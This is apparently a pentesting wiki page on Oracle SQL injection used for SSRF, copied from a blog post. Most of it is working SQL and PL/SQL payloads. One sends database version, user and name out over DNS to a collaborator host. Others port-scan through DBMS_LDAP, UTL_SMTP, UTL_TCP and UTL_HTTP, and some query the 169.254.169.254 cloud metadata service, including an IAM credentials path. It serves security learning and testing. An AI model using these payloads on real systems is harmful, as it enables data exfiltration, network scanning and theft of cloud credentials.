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  • SSRF
  • Oracle packages that support a URL or a Hostname/Port Number specification

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  1. Pentesting Web
  2. SQL Injection

Oracle injection

PreviousMSSQL InjectionNextPostgreSQL injection

Last updated 3 years ago

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SSRF

Information copied from ****

Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.

Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at , , pointed me to that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.

I ran the docker command with the --network="host" flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle packages that support a URL or a Hostname/Port Number specification

In order to find any packages and functions that support a host and port specification, I ran a Google search on the . Specifically,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

The search returned the following results (not all can be used to perform outbound network)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

In any case, let’s take a look at some of the packages that we have discovered and listed above.

DBMS_LDAP.INIT

The DBMS_LDAP package allows for access of data from LDAP servers. The init() function initializes a session with an LDAP server and takes a hostname and port number as an argument.

This function has been documented before to show exfiltration of data over DNS, like below

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.

Here are a few examples

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. shows that the port is closed while a session value points to the port being open.

UTL_SMTP

A crude example is shown below with the UTL_SMTP.OPEN_CONNECTION function, with a timeout of 2 seconds

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

A ORA-29276: transfer timeout shows port is open but no SMTP connection was estabilished while a ORA-29278: SMTP transient error: 421 Service not available shows that the port is closed.

UTL_TCP

set serveroutput on size 30000;
SET SERVEROUTPUT ON 
DECLARE c utl_tcp.connection;
  retval pls_integer; 
BEGIN
  c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
  retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
  retval := utl_tcp.write_line(c);
  BEGIN
    LOOP
      dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    END LOOP;
  EXCEPTION
    WHEN utl_tcp.end_of_input THEN
      NULL;
  END;
  utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
  retval pls_integer; 
BEGIN
  c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
  retval := utl_tcp.write_line(c);
  BEGIN
    LOOP
      dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    END LOOP;
  EXCEPTION
    WHEN utl_tcp.end_of_input THEN
      NULL;
  END;
  utl_tcp.close_connection(c);
END;

Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.

UTL_HTTP and Web Requests

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

You could additionally, use this to perform some rudimentary port scanning as well with queries like

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

A ORA-12541: TNS:no listener or a TNS:operation timed out is a sign that the TCP port is closed, whereas a ORA-29263: HTTP protocol error or data is a sign that the port is open.

This crude search obviously skips packages like DBMS_LDAP (which allows passing a hostname and port number) as simply points you to a . Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.

The UTL_SMTP package is designed for sending e-mails over SMTP. The example provided on the . For us, however, the interesting thing is with the ability to provide a host and port specification.

The UTL_TCP package and its procedures and functions allow . If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.

The example . We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.

Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the . This package is defined by the documentation as - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

Another package I have used in the past with varied success is the that allows you to interact with a URL and provides support for the HTTP protocol. The GETCLOB() method is used to fetch the GET response from a URL as a

https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle
Appsecco
Abhisek Datta
https://github.com/MaksymBilenko/docker-oracle-12c
Oracle Database Online Documentation
the documentation page
different location
Oracle documentation site shows how you can use this package to send an email
TCP/IP based communication with services
on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page
UTL_HTTP package
GETCLOB() method of the HTTPURITYPE Oracle abstract type
CLOB data type.
select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;